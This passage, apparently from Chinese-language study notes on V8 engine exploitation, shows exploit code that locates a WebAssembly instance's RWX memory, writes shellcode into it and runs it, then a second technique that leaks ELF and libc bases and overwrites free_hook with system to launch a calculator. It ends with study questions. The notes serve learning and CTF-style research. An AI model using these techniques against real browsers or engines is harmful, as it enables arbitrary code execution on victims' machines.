128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code)); let f = wasm_mod.exports.main; var rwx_mem_addr = arb_read_qword(addressOf(wasm_mod) - 1n + 0x88n); print("[*] rwx mem addr: " + hex(rwx_mem_addr)); var shellcode = [ 0x636c6163782fb848n, 0x73752fb848500000n, 0x8948506e69622f72n, 0x89485750c03148e7n, 0x3ac0c748d23148e6n, 0x4944b84850000030n, 0x48503d59414c5053n, 0x485250c03148e289n, 0x00003bc0c748e289n, 0x0000000000050f00n ] for (let i = 0; i < shellcode.length; i++) { arb_write_qword(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]); } f(); ``` ### 劫持free_hook 这个利用很简单,只需要想办法找到libc基址即可。 ```js var array_addr = addressOf(Array); var elf_base = arbitrary_address_read(arbitrary_address_read(array_addr - 1n + 0x30n) + 0x41n) - 0xf8f680n; print("[*] elf base: " + hex(elf_base)); var libc_base = arbitrary_address_read(elf_base + 0x1271b90n) - 0x7b0c0n; print("[*] libc base: " + hex(libc_base)); var system_addr = libc_base + 0x4f420n; var free_hook_addr = libc_base + 0x3ed8e8n; arbitrary_address_write(free_hook_addr, system_addr); print("/snap/bin/gnome-calculator"); ``` 问题: 1. Element 的构成 2. ​`var`​和`let`​的区别以及内存中的体现 ‍